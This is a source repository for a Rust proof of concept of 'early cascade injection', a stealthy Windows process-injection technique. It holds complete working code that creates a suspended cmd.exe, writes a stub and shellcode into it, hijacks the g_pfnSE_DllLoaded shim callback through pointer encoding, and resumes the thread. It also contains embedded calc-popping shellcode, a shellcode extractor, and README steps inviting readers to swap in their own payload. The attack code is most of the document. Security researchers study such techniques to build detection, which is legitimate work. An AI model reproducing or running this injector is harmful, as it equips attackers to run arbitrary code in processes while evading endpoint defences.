├── .gitignore
├── LICENSE
├── README.md
├── ecinject_rs
├── Cargo.toml
├── README.md
└── src
│ ├── func.rs
│ ├── lib.rs
│ ├── main.rs
│ └── proto.rs
└── paystub
├── Cargo.toml
├── extract.py
└── src
└── main.rs
/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | debug/
4 | target/
5 | *.bin
6 |
7 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
8 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
9 | Cargo.lock
10 |
11 | # These are backup files generated by rustfmt
12 | **/*.rs.bk
13 |
14 | # MSVC Windows builds of rustc generate these, which store debugging information
15 | *.pdb
16 |
17 | # RustRover
18 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
19 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
20 | # and can be added to the global gitignore or merged into this file. For a more nuclear
21 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
22 | #.idea/
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Kirk Trychel
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # early_cascade_inj_rs
2 | early cascade injection PoC based on Outflanks blog post, in rust
3 |
4 | shout out to https://github.com/Cracked5pider for his release that helped me solve the issue with access violation on the overwritten g_pfnSE_DllLoaded.
5 | also note that in my original PoC, I wanted to use NtMapViewofSection instead of NtWriteVirtualMemory, but I had issues with the final payload address. So if you had the same issue, try changing that.
6 |
7 | ##### Reference / Credit:
8 |
9 | - https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
10 | - https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
11 | - https://github.com/Cracked5pider/earlycascade-injection (I directly took his cascade_stub and extract.py)
12 |
13 | testing usage:
14 | - build the paystub binary and extract its shellcode with extract.py.
15 | ```early_cascade_inj_rs>\paystub> cargo build --release```
16 | ```early_cascade_inj_rs\paystub> python .\extract.py -f ./target/release/paystub.exe -o loader.bin```
17 | - build the ecinject_rs binary
18 | ```early_cascade_inj_rs>\ecinject_rs> cargo build --bin ecinject_rs --release```
19 | - pass the *.bin file from extract.py to the ecinject_rs binary as an arg
20 | ```\early_cascade_inj_rs> .\ecinject_rs\target\release\ecinject_rs.exe .\paystub\loader.bin```
21 | - the TEST_CODE shellcode will pop calc. swap it out with your own shellcode if you want.
22 |
--------------------------------------------------------------------------------
/ecinject_rs/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "ecinject_rs"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [lib]
7 | path = "src/lib.rs"
8 | crate-type = ["staticlib", "cdylib"]
9 |
10 | [dependencies]
11 | litcrypt = "0.3.0"
12 | noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" }
13 | ntapi = "0.4.1"
14 | winapi = { version = "0.3.9", features = ["winbase"] }
15 | md-5 = "0.10.6"
16 |
17 |
18 | [dependencies.windows]
19 | version = "0.51"
20 | features = [
21 | "Win32_Foundation",
22 | ]
--------------------------------------------------------------------------------
/ecinject_rs/README.md:
--------------------------------------------------------------------------------
1 | TODO
2 |
--------------------------------------------------------------------------------
/ecinject_rs/src/func.rs:
--------------------------------------------------------------------------------
1 | #![allow(non_snake_case)]
2 | #![allow(improper_ctypes)]
3 | #![allow(improper_ctypes_definitions)]
4 | #[allow(unused_variables)]
5 |
6 | use noldr::{get_function_address, RTL_USER_PROCESS_PARAMETERS, UNICODE_STRING};
7 |
8 | use ntapi::ntpsapi::{
9 | PS_ATTRIBUTE_u, PsCreateInitialState, PS_ATTRIBUTE, PS_ATTRIBUTE_IMAGE_NAME, PS_CREATE_INFO,
10 | };
11 | use ntapi::ntrtl::RTL_USER_PROC_PARAMS_NORMALIZED;
12 |
13 | use std::mem::zeroed;
14 | use std::ptr::{self, null_mut};
15 | use winapi::ctypes::c_void;
16 | use winapi::shared::basetsd::SIZE_T;
17 | use winapi::shared::ntdef::HANDLE as winapi_HANDLE;
18 | use winapi::shared::ntdef::NT_SUCCESS;
19 | use winapi::um::winnt::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS};
20 | use windows::Win32::Foundation::HANDLE;
21 |
22 | use md5::{Digest, Md5};
23 |
24 | use winapi::shared::{
25 | basetsd::{PSIZE_T, ULONG_PTR},
26 | minwindef::{FARPROC, PULONG, ULONG},
27 | ntdef::{
28 | NTSTATUS, PVOID,
29 | },
30 | };
31 |
32 | #[repr(C)]
33 | struct PsAttributeList {
34 | total_length: SIZE_T,
35 | attributes: [PS_ATTRIBUTE; 2],
36 | }
37 |
38 | //create suspended process with NtCreateUserProcess
39 | pub extern "C" fn CreateSuspendedProcess(ntdll: *const std::ffi::c_void) -> (HANDLE, HANDLE) {
40 | unsafe {
41 | //locate NtCreateUserProcess
42 | let function_address = get_function_address(ntdll, "NtCreateUserProcess").unwrap();
43 | let NtCreateUserProcess = std::mem::transmute::<
44 | _,
45 | extern "system" fn(
46 | ProcessHandle: *mut HANDLE,
47 | ThreadHandle: *mut HANDLE,
48 | ProcessDesiredAccess: u32,
49 | ThreadDesiredAccess: u32,
50 | ProcessObjectAttributes: *mut c_void,
51 | ThreadObjectAttributes: *mut c_void,
52 | ProcessFlags: u32,
53 | ThreadFlags: u32,
54 | ProcessParameters: *mut c_void,
55 | CreateInfo: *mut PS_CREATE_INFO,
56 | AttributeList: *mut PsAttributeList,
57 | ) -> i32,
58 | >(function_address);
59 | println!("NtCreateUserProcess: {:?}", NtCreateUserProcess);
60 |
61 | //locate RtlInitUnicodeString
62 | let function_address = get_function_address(ntdll, "RtlInitUnicodeString").unwrap();
63 | let RtlInitUnicodeString = std::mem::transmute::<
64 | _,
65 | extern "system" fn(*mut UNICODE_STRING, *const u16),
66 | >(function_address);
67 | println!("RtlInitUnicodeString: {:?}", RtlInitUnicodeString);
68 |
69 | //locate RtlCreateProcessParametersEx
70 | let function_address = get_function_address(ntdll, "RtlCreateProcessParametersEx").unwrap();
71 | let RtlCreateProcessParametersEx = std::mem::transmute::<
72 | _,
73 | extern "system" fn(
74 | *mut *mut RTL_USER_PROCESS_PARAMETERS, // pProcessParameters
75 | *mut UNICODE_STRING, // ImagePathName
76 | *mut UNICODE_STRING, // DllPath
77 | *mut UNICODE_STRING, // CurrentDirectory
78 | *mut UNICODE_STRING, // CommandLine
79 | *mut c_void, // Environment
80 | *mut UNICODE_STRING, // WindowTitle
81 | *mut UNICODE_STRING, // DesktopInfo
82 | *mut UNICODE_STRING, // ShellInfo
83 | *mut UNICODE_STRING, // RuntimeData
84 | u32, // Flags
85 | ) -> i32,
86 | >(function_address);
87 | println!(
88 | "RtlCreateProcessParametersEx: {:?}",
89 | RtlCreateProcessParametersEx
90 | );
91 |
92 | let nt_image_path = r"\??\C:\Windows\System32\cmd.exe";
93 | let mut nt_image_path: Vec = nt_image_path.encode_utf16().collect();
94 | nt_image_path.push(0);
95 |
96 | let mut nt_image_path_unicode: UNICODE_STRING = std::mem::zeroed();
97 | RtlInitUnicodeString(&mut nt_image_path_unicode, nt_image_path.as_ptr());
98 |
99 | let mut process_params: *mut RTL_USER_PROCESS_PARAMETERS = null_mut();
100 | let status = RtlCreateProcessParametersEx(
101 | &mut process_params,
102 | &mut nt_image_path_unicode,
103 | null_mut(),
104 | null_mut(),
105 | null_mut(),
106 | null_mut(),
107 | null_mut(),
108 | null_mut(),
109 | null_mut(),
110 | null_mut(),
111 | RTL_USER_PROC_PARAMS_NORMALIZED,
112 | );
113 |
114 | if !NT_SUCCESS(status) {
115 | println!("err 1: {:x}", status);
116 | return (HANDLE(0), HANDLE(0));
117 | }
118 |
119 | let mut create_info: PS_CREATE_INFO = zeroed();
120 | create_info.Size = std::mem::size_of::();
121 | create_info.State = PsCreateInitialState;
122 |
123 | let ps_attribute = PS_ATTRIBUTE {
124 | Attribute: PS_ATTRIBUTE_IMAGE_NAME,
125 | Size: nt_image_path_unicode.Length as usize,
126 | u: PS_ATTRIBUTE_u {
127 | ValuePtr: nt_image_path_unicode.Buffer as *mut _,
128 | },
129 | ReturnLength: ptr::null_mut(),
130 | };
131 |
132 | let empty_attr: PS_ATTRIBUTE = zeroed();
133 | let ps_attribute_list = PsAttributeList {
134 | total_length: std::mem::size_of::() - size_of::(), // 40 (72 - 32)
135 | attributes: [ps_attribute, empty_attr], // Only include the first attribute here
136 | };
137 |
138 | let ps_attribute_list = std::mem::transmute(&ps_attribute_list);
139 | let create_info = std::mem::transmute(&create_info);
140 |
141 | let mut process_handle: HANDLE = HANDLE(0);
142 | let mut thread_handle: HANDLE = HANDLE(0);
143 | let process_handle_ptr = &mut process_handle as *mut HANDLE;
144 | let thread_handle_ptr = &mut thread_handle as *mut HANDLE;
145 |
146 | let status = NtCreateUserProcess(
147 | process_handle_ptr,
148 | thread_handle_ptr,
149 | PROCESS_ALL_ACCESS,
150 | THREAD_ALL_ACCESS,
151 | null_mut(),
152 | null_mut(),
153 | 0,
154 | 1,
155 | process_params as *mut c_void,
156 | create_info,
157 | ps_attribute_list,
158 | );
159 |
160 | if !NT_SUCCESS(status) {
161 | println!("err 2: {:x}", status);
162 | return (HANDLE(0), HANDLE(0));
163 | }
164 |
165 | (process_handle, thread_handle)
166 | }
167 | }
168 |
169 | //here we will have a function for calculating the md5 hash of the ntdll on disk
170 | //this will be useful for testing with different versions of ntdll
171 | pub extern "C" fn CalculateNtdllMd5() -> *mut i8 {
172 | let ntdll_path = r"C:\Windows\System32\ntdll.dll";
173 | let mut ntdll_hash = Md5::new();
174 | let ntdll_bytes = std::fs::read(ntdll_path).unwrap();
175 | ntdll_hash.update(&ntdll_bytes);
176 | let hash = format!("{:x}", ntdll_hash.finalize());
177 |
178 | // Convert to C string and leak (caller must free)
179 | let c_str = std::ffi::CString::new(hash).unwrap();
180 | c_str.into_raw()
181 | }
182 |
183 | pub extern "C" fn MapShellcodes(
184 | process: winapi_HANDLE,
185 | cascade_stub: &[u8],
186 | paystub: &[u8],
187 | final_payload: &[u8],
188 | ntdll: *const std::ffi::c_void,
189 | g_ShimsEnabled_addr: usize,
190 | ) -> PVOID {
191 | unsafe {
192 | // Calculate total size needed
193 | let size = (cascade_stub.len() + paystub.len() + final_payload.len()) as SIZE_T;
194 |
195 | // Get NtAllocateVirtualMemory function
196 | let NtAllocateVirtualMemory = std::mem::transmute::<_, extern "system" fn(
197 | ProcessHandle: winapi_HANDLE,
198 | BaseAddress: *mut PVOID,
199 | ZeroBits: ULONG_PTR,
200 | RegionSize: PSIZE_T,
201 | AllocationType: ULONG,
202 | Protect: ULONG,
203 | ) -> NTSTATUS>(get_function_address(ntdll, "NtAllocateVirtualMemory").unwrap());
204 |
205 | // Allocate memory in target process
206 | let mut remote_base: PVOID = null_mut();
207 | let mut alloc_size = size;
208 | let result = NtAllocateVirtualMemory(
209 | process,
210 | &mut remote_base,
211 | 0,
212 | &mut alloc_size,
213 | MEM_COMMIT,
214 | PAGE_READWRITE
215 | );
216 |
217 | if !NT_SUCCESS(result) {
218 | println!("NtAllocateVirtualMemory Failed: {:x}", result);
219 | return null_mut();
220 | }
221 |
222 | // Create patched version of cascade_stub
223 | let mut patched_stub = cascade_stub.to_vec();
224 |
225 | // Calculate addresses for patching
226 | let _paystub_addr = (remote_base as usize + cascade_stub.len()) as u64;
227 | let final_payload_addr = (remote_base as usize + cascade_stub.len() + paystub.len()) as u64;
228 | let nt_queue_apc = get_function_address(ntdll, "NtQueueApcThread").unwrap() as u64;
229 |
230 | // Patch the values
231 | if let Some(offset) = find_pattern(&patched_stub, 0x6666666666666666) {
232 | patched_stub[offset..offset + 8].copy_from_slice(&nt_queue_apc.to_le_bytes());
233 | }
234 | if let Some(offset) = find_pattern(&patched_stub, 0x7777777777777777) {
235 | patched_stub[offset..offset + 8].copy_from_slice(&(paystub.len() as u64).to_le_bytes());
236 | }
237 | if let Some(offset) = find_pattern(&patched_stub, 0x8888888888888888) {
238 | patched_stub[offset..offset + 8].copy_from_slice(&final_payload_addr.to_le_bytes());
239 | }
240 | if let Some(offset) = find_pattern(&patched_stub, 0x9999999999999999) {
241 | patched_stub[offset..offset + 8].copy_from_slice(&(g_ShimsEnabled_addr as u64).to_le_bytes());
242 | }
243 |
244 | // Get NtWriteVirtualMemory function
245 | let NtWriteVirtualMemory: unsafe extern "system" fn(
246 | ProcessHandle: winapi_HANDLE,
247 | BaseAddress: PVOID,
248 | Buffer: PVOID,
249 | BufferSize: SIZE_T,
250 | NumberOfBytesWritten: PSIZE_T,
251 | ) -> NTSTATUS = std::mem::transmute(get_function_address(ntdll, "NtWriteVirtualMemory").unwrap());
252 |
253 | // Write all components directly to target process
254 | let mut bytes_written: SIZE_T = 0;
255 |
256 | // Write cascade stub
257 | let _result = NtWriteVirtualMemory(
258 | process,
259 | remote_base,
260 | patched_stub.as_ptr() as PVOID,
261 | patched_stub.len() as SIZE_T,
262 | &mut bytes_written,
263 | );
264 |
265 | // Write paystub
266 | let _result = NtWriteVirtualMemory(
267 | process,
268 | (remote_base as usize + cascade_stub.len()) as PVOID,
269 | paystub.as_ptr() as PVOID,
270 | paystub.len() as SIZE_T,
271 | &mut bytes_written,
272 | );
273 |
274 | // Write final payload
275 | let _result = NtWriteVirtualMemory(
276 | process,
277 | (remote_base as usize + cascade_stub.len() + paystub.len()) as PVOID,
278 | final_payload.as_ptr() as PVOID,
279 | final_payload.len() as SIZE_T,
280 | &mut bytes_written,
281 | );
282 |
283 | //change the protection of the memory to execute but not write
284 | let NtProtectVirtualMemory = std::mem::transmute::<_, extern "system" fn(
285 | ProcessHandle: winapi_HANDLE,
286 | BaseAddress: *mut PVOID,
287 | RegionSize: PSIZE_T,
288 | NewProtect: ULONG,
289 | OldProtect: PULONG,
290 | ) -> NTSTATUS>(get_function_address(ntdll, "NtProtectVirtualMemory").unwrap());
291 |
292 | let mut base_addr = remote_base;
293 | let mut region_size = size;
294 | let mut old_protect: ULONG = 0;
295 |
296 | let _result = NtProtectVirtualMemory(
297 | process,
298 | &mut base_addr,
299 | &mut region_size,
300 | PAGE_EXECUTE_READ,
301 | &mut old_protect
302 | );
303 |
304 | println!("TEST_CODE (final_payload) will be at: 0x{:x}",
305 | remote_base as usize + cascade_stub.len() + paystub.len());
306 |
307 | remote_base
308 | }
309 | }
310 |
311 | fn find_pattern(data: &[u8], pattern: u64) -> Option {
312 | let pattern_bytes = pattern.to_le_bytes();
313 | data.windows(8)
314 | .position(|window| window == pattern_bytes)
315 | }
316 |
317 | //now we need to overwrite the address of g_pfnSE_DllLoaded with the address of the shellcode
318 | pub extern "C" fn OverwriteSE_DllLoaded(
319 | new_handle: winapi_HANDLE,
320 | shellcode_addr: PVOID,
321 | g_pfnSE_DllLoaded_addr: usize,
322 | g_ShimsEnabled_addr: usize,
323 | ntdll: *const std::ffi::c_void,
324 | ) -> NTSTATUS {
325 | unsafe {
326 | println!("Target process handle: {:?}", new_handle);
327 | println!("Shellcode address to write: {:p}", shellcode_addr);
328 | println!(
329 | "g_pfnSE_DllLoaded address to update: 0x{:x}",
330 | g_pfnSE_DllLoaded_addr
331 | );
332 | println!(
333 | "g_ShimsEnabled address to update: 0x{:x}",
334 | g_ShimsEnabled_addr
335 | );
336 |
337 | let function_address = get_function_address(ntdll, "NtWriteVirtualMemory").unwrap();
338 | let NtWriteVirtualMemory: unsafe extern "system" fn(
339 | ProcessHandle: winapi_HANDLE,
340 | BaseAddress: PVOID,
341 | Buffer: PVOID,
342 | BufferSize: SIZE_T,
343 | NumberOfBytesWritten: PSIZE_T,
344 | ) -> NTSTATUS = std::mem::transmute(function_address);
345 |
346 | // Get SharedUserCookie from KUSER_SHARED_DATA
347 | let shared_user_cookie = *(0x7FFE0330 as *const u32);
348 |
349 | // Encode pointer:
350 | // 1. XOR with SharedUserCookie
351 | // 2. Rotate right by (SharedUserCookie & 0x3F)
352 | let target_addr = shellcode_addr as usize;
353 | let xored = target_addr ^ (shared_user_cookie as usize);
354 | let final_value = xored.rotate_right(shared_user_cookie & 0x3F);
355 |
356 | let mut bytes_written: SIZE_T = 0;
357 |
358 | let result = NtWriteVirtualMemory(
359 | new_handle,
360 | g_pfnSE_DllLoaded_addr as PVOID,
361 | &final_value as *const _ as PVOID,
362 | std::mem::size_of::() as SIZE_T,
363 | &mut bytes_written,
364 | );
365 |
366 | println!("Original shellcode addr: 0x{:x}", shellcode_addr as usize);
367 | println!("Encoded shellcode addr: 0x{:x}", final_value);
368 | println!("Write result for g_pfnSE_DllLoaded: 0x{:x}", result);
369 | println!("Bytes written: {}", bytes_written);
370 |
371 | // Write 1 to g_ShimsEnabled
372 | let shims_value: u32 = 1;
373 | let shims_result = NtWriteVirtualMemory(
374 | new_handle,
375 | g_ShimsEnabled_addr as PVOID,
376 | &shims_value as *const _ as PVOID,
377 | std::mem::size_of::() as SIZE_T,
378 | &mut bytes_written,
379 | );
380 |
381 | println!("Write result for g_ShimsEnabled: 0x{:x}", shims_result);
382 | println!("Bytes written: {}", bytes_written);
383 |
384 | // Return the last result (or you could combine them if you prefer)
385 | shims_result
386 | }
387 | }
388 |
389 | //now we need to resume the thread in the target process
390 | pub extern "C" fn ResumeThread(
391 | thread_handle: winapi_HANDLE,
392 | ntdll: *const std::ffi::c_void,
393 | ) -> NTSTATUS {
394 | let function_address = get_function_address(ntdll, "NtAlertResumeThread").unwrap();
395 |
396 | let NtAlertResumeThread: unsafe fn(
397 | ThreadHandle: winapi_HANDLE,
398 | PreviousSuspendCount: PULONG,
399 | ) -> NTSTATUS = unsafe { std::mem::transmute(function_address as FARPROC) };
400 |
401 | let mut previous_suspend_count: ULONG = 0;
402 |
403 | let resumeresult = unsafe { NtAlertResumeThread(thread_handle, &mut previous_suspend_count) };
404 |
405 | resumeresult
406 | }
407 |
--------------------------------------------------------------------------------
/ecinject_rs/src/lib.rs:
--------------------------------------------------------------------------------
1 | mod proto;
2 | mod func;
3 | #[macro_use]
4 | extern crate litcrypt;
5 |
6 | use_litcrypt!();
7 |
8 | pub extern fn main() {
9 | proto::Pick();
10 | }
--------------------------------------------------------------------------------
/ecinject_rs/src/main.rs:
--------------------------------------------------------------------------------
1 | mod proto;
2 | mod func;
3 | #[macro_use]
4 | extern crate litcrypt;
5 |
6 | use_litcrypt!();
7 |
8 | fn main() {
9 | proto::Pick();
10 | }
11 |
--------------------------------------------------------------------------------
/ecinject_rs/src/proto.rs:
--------------------------------------------------------------------------------
1 | #![allow(non_snake_case)]
2 |
3 | use crate::func::{self, CalculateNtdllMd5};
4 |
5 | use noldr::{get_dll_address, get_teb};
6 |
7 | use winapi::shared::ntdef::HANDLE as winapi_HANDLE;
8 | use winapi::um::processthreadsapi::GetProcessId;
9 | use std::fs::read;
10 | use std::env;
11 |
12 | //build paystub and extract the shellcode with paystub/extract.py -f ./target/release/paystub.exe -o loader.bin
13 | //copy the loader.bin to the same directory as this executable
14 | pub fn get_paystub() -> Vec {
15 | let args: Vec = env::args().collect();
16 |
17 | if args.len() != 2 {
18 | eprintln!("Error: Missing loader file path");
19 | eprintln!("Usage: {} ", args.get(0).unwrap_or(&String::from("program")));
20 | eprintln!("Example: {} loader.bin", args.get(0).unwrap_or(&String::from("program")));
21 | std::process::exit(1);
22 | }
23 |
24 | let loader_path = &args[1];
25 | match read(loader_path) {
26 | Ok(data) => data,
27 | Err(e) => {
28 | eprintln!("Error reading file '{}': {}", loader_path, e);
29 | eprintln!("Please ensure the file exists and you have permission to read it.");
30 | std::process::exit(1);
31 | }
32 | }
33 | }
34 | //this shellcode pops calc
35 | pub const TEST_CODE: [u8; 276] = [
36 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
37 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
38 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
39 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
40 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
41 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
42 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
43 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
44 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
45 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
46 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
47 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
48 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
50 | 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
51 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
52 | 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
53 | 0x65, 0x78, 0x65, 0x00,
54 | ];
55 |
56 | pub const CASCADE_STUB: [u8; 66] = [
57 | 0x48, 0x83, 0xec, 0x38, // sub rsp, 38h
58 | 0x33, 0xc0, // xor eax, eax
59 | 0x45, 0x33, 0xc9, // xor r9d, r9d
60 | 0x48, 0x21, 0x44, 0x24, 0x20, // and [rsp+38h+var_18], rax
61 | 0x48, 0xba, // mov rdx,
62 | 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, // 8888888888888888h
63 | 0xa2, // mov ds:[...], al
64 | 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, // 9999999999999999h
65 | 0x49, 0xb8, // mov r8,
66 | 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, // 7777777777777777h
67 | 0x48, 0x8d, 0x48, 0xfe, // lea rcx, [rax-2]
68 | 0x48, 0xb8, // mov rax,
69 | 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, // 6666666666666666h
70 | 0xff, 0xd0, // call rax
71 | 0x33, 0xc0, // xor eax, eax
72 | 0x48, 0x83, 0xc4, 0x38, // add rsp, 38h
73 | 0xc3 // retn
74 | ];
75 |
76 | #[no_mangle]
77 | pub extern "system" fn Pick() {
78 |
79 | let paystub = get_paystub();
80 |
81 | let teb = get_teb();
82 | println!("teb: {:?}", teb);
83 |
84 | //need to add error handling
85 | let ntdll = get_dll_address("ntdll.dll".to_string(), teb).unwrap();
86 | println!("ntdll: {:?}", ntdll);
87 |
88 | //check the ntdll hash
89 | let ntdll_hash = CalculateNtdllMd5();
90 | let ntdll_hash_str = unsafe { std::ffi::CStr::from_ptr(ntdll_hash).to_string_lossy() };
91 | println!("Ntdll Hash: {}", ntdll_hash_str);
92 |
93 | // Set offsets based on ntdll hash
94 | let (g_ShimsEnabled_offset, g_pfnSE_DllLoaded_offset) = match ntdll_hash_str.as_ref() {
95 | "e54c7c4f01b53d2e5629871757f86a39" => (0x186CF0, 0x19B270),
96 | // Add more hash matches here for different ntdll versions
97 | _ => panic!("Unsupported ntdll version with hash: {}", ntdll_hash_str),
98 | };
99 |
100 | //if the hash is found, we calculate the locations of g_ShimsEnabled and g_pfnSE_DllLoaded
101 | let g_ShimsEnabled = ntdll as *mut u8 as usize + g_ShimsEnabled_offset;
102 | let g_pfnSE_DllLoaded = ntdll as *mut u8 as usize + g_pfnSE_DllLoaded_offset;
103 | println!("Calculating locations based on ntdll hash");
104 | //print offsets
105 | println!("g_ShimsEnabled_offset: 0x{:x}", g_ShimsEnabled_offset);
106 | println!("g_pfnSE_DllLoaded_offset: 0x{:x}", g_pfnSE_DllLoaded_offset);
107 | //print the calculated locations
108 | println!("g_ShimsEnabled: 0x{:x}", g_ShimsEnabled);
109 | println!("g_pfnSE_DllLoaded: 0x{:x}", g_pfnSE_DllLoaded);
110 |
111 | //create a suspended process
112 | println!("Creating suspended process");
113 | let handles = func::CreateSuspendedProcess(ntdll);
114 | let handle = handles.0;
115 | let thread = handles.1;
116 | println!("Child Process Handle: 0x{:x}", handle.0);
117 |
118 | //get the pid for the handle and print it
119 | let pid = unsafe { GetProcessId(handle.0 as *mut _) };
120 | println!("Child Process ID: {}", pid);
121 |
122 | //here we will write some shellcodes to memory, the paystub and payload.
123 | //TODO
124 | println!("Mapping Cascade Stub and Shellcode");
125 |
126 | let scbase = func::MapShellcodes(
127 | handle.0 as winapi_HANDLE,
128 | &CASCADE_STUB,
129 | &paystub,
130 | &TEST_CODE,
131 | ntdll,
132 | g_ShimsEnabled,
133 | );
134 | println!("Base address: {:x?}", scbase);
135 |
136 | //unsafe { func::check_memory_permissions(handle.0 as winapi_HANDLE, scbase, ntdll); }
137 |
138 | //now we need to overwrite g_pfnSE_DllLoaded with shellcode address and set g_ShimsEnabled to 1
139 | println!("Overwriting g_pfnSE_DllLoaded and g_ShimsEnabled");
140 | let result = func::OverwriteSE_DllLoaded(
141 | handle.0 as winapi_HANDLE,
142 | scbase,
143 | g_pfnSE_DllLoaded,
144 | g_ShimsEnabled,
145 | ntdll,
146 | );
147 | println!("Result: {:x?}", result);
148 |
149 | /*
150 | //here we will pause for user input
151 | //i was doing this for debugging purposes
152 | println!("Press Enter to continue...");
153 | let _ = std::io::stdin().read_line(&mut String::new());
154 | */
155 | //resume the thread
156 | println!("Resuming thread");
157 | let resume_result = func::ResumeThread(thread.0 as winapi_HANDLE, ntdll);
158 | println!("Resume result: {:x?}", resume_result);
159 |
160 | }
161 |
--------------------------------------------------------------------------------
/paystub/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "paystub"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | [dependencies]
7 | winapi = { version = "0.3.9", features = ["memoryapi", "libloaderapi", "processthreadsapi"]}
8 | ntapi = "0.4.1"
9 |
--------------------------------------------------------------------------------
/paystub/extract.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding:utf-8 -*-
3 | import pefile
4 | import argparse
5 |
6 | if __name__ in '__main__':
7 | try:
8 | parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );
9 | parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );
10 | parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );
11 | option = parser.parse_args();
12 |
13 | PeExe = pefile.PE( option.f );
14 | PeSec = PeExe.sections[0].get_data();
15 |
16 | if PeSec.find( b'ENDOFCODE' ) != None:
17 | ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];
18 | f = open( option.o, 'wb+' );
19 | f.write( ScRaw );
20 | f.close();
21 | else:
22 | print('[!] error: no ending tag');
23 | except Exception as e:
24 | print( '[!] error: {}'.format( e ) );
--------------------------------------------------------------------------------
/paystub/src/main.rs:
